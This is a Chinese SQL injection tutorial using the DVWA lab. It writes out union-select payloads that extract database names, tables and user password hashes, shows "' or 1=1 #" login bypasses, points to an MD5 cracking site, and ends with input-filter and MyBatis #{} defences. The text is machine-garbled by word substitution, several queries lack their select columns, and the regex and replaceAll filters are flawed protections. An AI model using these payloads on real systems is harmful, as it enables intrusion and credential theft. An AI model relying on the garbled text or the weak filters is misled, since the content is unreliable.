黑客通过将恶意的 SQL 查询或者添加语句插入到运用的输入参数中,然后在后台 SQL 做事器上解析实行进行程序攻击!
哪黑客详细是如何将恶意的 SQL 脚本进行植入到系统中,从而达到攻击的目的呢?
现在的 Web 程序基本都是三层架构,也便是我们常说的 MVC 模式:

例如在上图中,用户访问主页进行了如下过程:
1、在 Web 浏览器中输入www.shiyanlou.com接到对应的做事器2、Web做事器从本地存储中加载index.php脚本程序并解析3、脚本程序会连接位于数据访问层的DBMS(数据库管理系统),并实行Sql语句4、数据库管理系统返回Sql语句实行结果给Web做事器5、Web做事器将页面封装成HTML格式发送给Web浏览器6、Web浏览器解析HTML文件,将内容展示给用户全体过程中间的业务逻辑层只是进行逻辑处理,从用户到获取数据,大略的说,三层架构是一种线性关系。
二、SQL 注入漏洞详解刚刚我们也讲到,当我们访问网页时,Web 做事器会向数据访问层发起 SQL 查询要求,如果权限验证通过就会实行 SQL 语句。
一样平常来说,如果是正常利用是不会有什么危险的,但是如果用户输入的数据被布局成恶意 SQL 代码,Web 运用又未对动态布局的 SQL 语句利用的参数进行检讨,则会带来意想不到的危险!
废话也不多说来,下面我们就一起来看看,黑客是如何绕过参数检讨,从而实现盗取数据的目的!
下面我们利用DVWA 渗透测试平台,作为攻击测试的目标,让你更加清楚的理解 SQL 注入猜解数据库是如何发生的。
启动做事之后,首先不雅观察浏览器中的URL,先输入 1 ,查看回显!
从图中可以看出,ID : 1,First Name:admin,Surname:Admin信息!
那后台实行了什么样的 SQL 语句呢?点击view source查看源代码 ,个中的 SQL 查询代码为:
SELECT first_name, last_name FROM users WHERE user_id = '1';
OK!
如果我们不按常理出牌,比如在输入框中输入1' order by 1#。
实际实行的 SQL 语句就会变成这样:
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#
这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。
个中#后面的 SQL 语句,都会当作注释进行处理,不会被实行!
输入 1' order by 1#和 1' order by 2#时都能返回正常!
当输入1' order by 3#时,返回缺点!
由此得知,users表中只有两个字段,数据为两列!
我们利用union select联合查询连续获取信息!
直接在输入框中输入1' union select database(),user()#进行查询!
实际实行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#'
通过返复书息,我们成功获取到:
当前网站利用数据库为dvwa当前实行查询用户名为root@localhost接下来我们考试测验获取dvwa数据库中的表名!
在输入框中输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#进行查询!
实际实行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#'
通过上图返复书息,我们再获取到:
dvwa 数据库有两个数据表,分别是 guestbook 和 users可能有些同学还不足知足,接下来考试测验获取重量级的用户名、密码!
根据履历我们可以大胆预测users表的字段为 user 和 password,以是输入:1' union select user,password from users#进行查询:
实际实行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#'
可以看到成功爆出了用户名、密码,密码通过预测采取 md5 进行加密,可以直接到www.cmd5.com网站进行解密。
2.2、SQL 注入示例二:验证绕过接下来我们再试试另一个利用 SQL 漏洞绕过登录验证的示例!
这是一个普通的登录页面,只要输入精确的用户名和密码就能登录成功。
我们先考试测验随意输入用户名 123 和密码 123 登录!
彷佛不太行,登录被拦截,从缺点页面中我们无法获取到任何信息!
点击view source查看源代码 ,个中的 SQL 查询代码为:
select from users where username='123' and password='123'
按照上面示例的思路,我们考试测验在用户名中输入 123' or 1=1 #, 密码同样输入 123' or 1=1 #。
恭喜你,登录成功!
为什么能够上岸成功呢?实际实行的语句是:
select from users where username='123' or 1=1 #' and password='123' or 1=1 #'
按照 Mysql 语法,# 后面的内容会被忽略,以是以上语句等同于:
select from users where username='123' or 1=1
由于判断语句 or 1=1 恒成立,以是结果当然返回真,成功登录!
我们再考试测验不该用 # 屏蔽单引号,在用户名中输入 123' or '1'='1, 密码同样输入 123' or '1'='1。
依然能够成功登录,实际实行的 SQL 语句是:
select from users where username='123' or '1'='1' and password='123' or '1'='1'
两个 or 语句使 and 前后两个判断永久恒即是真,以是能够成功登录!
常日情形下,可能存在 SQL 注入漏洞的 Url 是类似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX。
对 SQL 注入的判断,紧张有两个方面:
判断该带参数的 Url 是否可以进行 SQL 注入如果存在 SQL 注入,那么属于哪种 SQL 注入可能存在 SQL 注入攻击的动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。
总之,只假如带有参数的动态网页且此网页访问了数据库,那么就有可能存在 SQL 注入。
例如现在有这么一个 URL 地址:
http://xxx/abc.php?id=1
首先根据履历预测,它可能实行如下语句进行查询:
select from <表名> where id = x
因此,在 URL 地址栏中输入http://xxx/abc.php?id= x and '1'='1页面依旧运行正常,连续进行下一步!
当然不带参数的 URL 也未必是安全的,现在有很多第三方的工具,例如postman工具,一样可以仿照各种要求!
黑客们在攻击的时候,同样会利用各种假设法来验证自己的判断!
上文中先容的 SQL 攻击场景都比较根本,只是大略的向大家先容一下!
那对付这种黑客攻击,我们有没有什么办法呢?
答案肯定是有的,便是对前端用户输入的所有的参数进行审查,最好是全文进行判断或者更换!
例如,当用户输入造孽字符的时候,利用正则表达式进行匹配判断!
private String CHECKSQL = "^(.+)\\sand\\s(.+)|(.+)\\sor(.+)\\s$";Pattern.matches(CHECKSQL,targerStr);
或者,全局更换,都可以!
public static String TransactSQLInjection(String sql) { return sql.replaceAll(".([';]+|(--)+).", " "); }
还可以采取预编译的语句集!
例如当利用Mybatis的时候,尽可能的用#{}语法来传参数,而不是${}!
举个例子!
如果传入的username 为 a' or '1=1,那么利用 ${} 处理后直接更换字符串的sql就解析为
select from t_user where username = 'a' or '1=1'
这样的话所有的用户数据就被查出来了,就属于 SQL 注入!
如果利用#{},经由 sql动态解析和预编译,会把单引号转义为 \',SQL 终极解析为
select from t_user where username = "a\' or \'1=1 "
这样会查不出任何数据,有效阻挡 SQL 注入!
1、简书 - Jewel591 - sql注入根本事理
2、极术社区 - 悟能之能 - 你真的理解MyBatis中${}和#{}的差异吗?